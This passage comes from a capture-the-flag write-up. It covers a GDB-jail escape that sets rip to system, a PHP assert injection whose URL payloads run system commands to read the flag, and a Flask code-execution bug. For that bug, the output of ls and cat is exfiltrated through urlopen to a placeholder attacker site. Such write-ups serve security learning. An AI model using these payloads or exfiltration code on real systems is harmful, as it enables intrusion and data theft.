for c in xored:
print(chr(ord(c) ^ 0x05), end="")
Which prints
1
ictf{just_another_flag_checker_a3465d5e5ee234ba}
misc/GDBJail1
In this challenge, we get the address of a remote, and 5 files:
1
2
3
4
5
Dockerfile
gdbinit.sh
main.py
nsjail.cfg
run.sh
The Dockerfile
and nsjail.cfg
aren’t super interesting. The run.sh
file runs gdb
with the gdbinit
located in gdbinit.sh
, which source
es the Python script located in main.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import gdb
def main():
gdb.execute("file /bin/cat")
gdb.execute("break read")
gdb.execute("run")
while True:
try:
command = input("(gdb) ")
if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"):
try:
gdb.execute(command)
except gdb.error as e:
print(f"Error executing command '{command}': {e}")
else:
print("Only 'break', 'set', and 'continue' commands are allowed.")
except:
pass
if __name__ == "__main__":
main()
This script first loads the binary /bin/cat
into GDB, sets a breakpoint at the read
function, and then runs the binary. The remaining part of the script makes sure that our commands only start with either set
, break
, or continue
, and our goal is to read the flag located at /home/user/flag.txt
. The set
command allows us to do a lot of things: for example, we can write whatever value we want to any memory location/register we want. To get the flag, I first jumped to the system
function by set
ting the value of the rip
register to the address of the system
function. Then, I set up the parameters to system
so that it’ll execute cat /home/user/flag.txt
. I wrote an short C program that calls system
to set what registers need to contain what values:
1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>
int main() {
system("cat ./flag.txt");
return 0;
}
When debugging the program and stepping to the system function, the registers contain the following values: It seems like both rax
and rdi
are set to the command to be executed, so for good measure let’s just set them both to cat ./flag.txt
:) To summarize:
- We jump to
system
by settingrip
to the address of system - We write the command we want to execute,
cat /home/user/flag.txt
, to registersrax
andrdi
, one of whom is the argument that is passed to thesystem
function - We
continue
so that the function will be executed Let’s try it on the remote!
1
2
3
4
5
6
7
8
Breakpoint 1, __GI___libc_read (fd=0, buf=0x7ffff7d6b000, nbytes=131072) at ../sysdeps/unix/sysv/linux/read.c:25
(gdb) set $rip=system
(gdb) set $rax="/bin/cat /home/user/flag.txt"
(gdb) set $rdi="/bin/cat /home/user/flag.txt"
(gdb) continue
[Detaching after vfork from child process 11]
ictf{n0_m0re_debugger_a2cd3018}
[Inferior 1 (process 8) exited normally]
Neat!
web/readme
This challenge is a bit strange :) We are provided multiple files for a webapp, including a Dockerfile
. The Dockerfile
simply contains the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
FROM node:20-bookworm-slim
RUN apt-get update \
&& apt-get install -y nginx tini \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
WORKDIR /app
COPY package.json yarn.lock ./
RUN yarn install --frozen-lockfile
COPY src ./src
COPY public ./public
COPY default.conf /etc/nginx/sites-available/default
COPY start.sh /start.sh
ENV FLAG="ictf{path_normalization_to_the_rescue}"
ENTRYPOINT ["/usr/bin/tini", "--"]
CMD ["/start.sh"]
web/journal
In this challenge, we get a webapp and its PHP source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";
if (isset($_GET['file'])) {
$file = $_GET['file'];
$filepath = './files/' . $file;
assert("strpos('$file', '..') === false") or die("Invalid file!");
if (file_exists($filepath)) {
include($filepath);
} else {
echo 'File not found!';
}
}
echo "</p>";
The code checks whether our URL parameter file
contains a ..
using assert
, and serves us the file if it doesn’t. The problem is that the assert
function in PHP can be used for RCE, in a similar way as eval
. The $file
parameter is copied as-is into the string
1
"strpos('$file', '..') === false"
This code is then executed by the PHP runtime. If it returns true
(i.e. there are no ..
in $file
), the assertion succeeds. Since the parameter is copied as-is, we can simply escape the strpos
call and execute our own code, for example the system
function. For example. if we request the file ',die(system('ls')));//
, the code that will be executed by assert
is:
1
stropos('',die(system('ls')));//', '..') === false
So we will call die
with the output of ls
, which will print the output:
1
files index.php index.php
Now, to get the flag, we list the contents of /
:
1
http://journal.chal.imaginaryctf.org/?file=%27,die(system(%27ls%20/%27)));//
Which are:
1
bin boot dev etc flag-cARdaInFg6dD10uWQQgm.txt home kctf lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var
and then cat
the flag:
1
http://journal.chal.imaginaryctf.org/?file=%27,die(system(%27cat%20/flag-cARdaInFg6dD10uWQQgm.txt%27)));//
Which is:
1
ictf{assertion_failed_e3106922feb13b10}
web/P2C
In this challenge, we’re given a Flask-based webapp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from flask import Flask, request, render_template
import subprocess
from random import randint
from hashlib import md5
import os
import re
app = Flask(__name__)
def xec(code):
code = code.strip()
indented = "\n".join([" " + line for line in code.strip().splitlines()])
file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
with open(file, 'w') as f:
f.write("def main():\n")
f.write(indented)
f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")
os.system(f"chmod 755 {file}")
try:
res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
output = res.stdout
except Exception as e:
output = None
os.remove(file)
return output
@app.route('/', methods=["GET", "POST"])
def index():
res = None
if request.method == "POST":
code = request.form["code"]
res = xec(code)
valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
if res == None:
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
if valid.match("".join(res.strip().split("\n")[-1])):
return render_template("index.html", rgb="rgb" + "".join(res.strip().split("\n")[-1]))
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
The vulnerability is pretty obvious: the xec
function writes our input, which isn’t validated, into a python file, and then executes said file using sudo -u user python3 <our file>
. For example, if our input is
1
2
3
print("hello world!")
return 123
The Python file will contain:
1
2
3
4
5
6
def main():
print("hello world!")
return 123
from parse import rgb_parse
print(rgb_parse(main()))
The contents of rgb_parse
don’t matter, since main()
, which contains our code, is always executed no matter what. This gives us complete RCE! To exploit the RCE, we’ll run commands using subprocess.run
to get the output, URL encode it, and then send it to a server we control using urllib.request.urlopen
, which is a built-in function in Python that sends HTTP requests. For example, to execute ls
, we use the following code:
1
2
3
4
5
from urllib.request import urlopen
import subprocess
ls_out = subprocess.run(["ls"], capture_output=True, text=True,).stdout.strip().replace("\n", "%0a").replace(" ", "%20")
urlopen("<attacker's site>/{}".format(ls_out))
In our server, we get a request to:
1
<attacker's site>/app.py%0aflag.txt%0atemplates
Great! The flag is in flag.txt
. Let’s cat
it:
1
2
3
4
5
from urllib.request import urlopen
import subprocess
ls_out = subprocess.run(["cat", "flag.txt"], capture_output=True, text=True,).stdout.strip().replace("\n", "%0a").replace(" ", "%20")
urlopen("<attacker's site>/{}".format(ls_out))
Awesome! We got the flag:
1
https://<attacker's site>/ictf%7Bd1_color_picker_fr_2ce0dd3d%7D
Summary
Playing this CTF was very fun! I learned a lot (especially from the ropity challenge :)), and the challenges were very creative. Thanks for reading!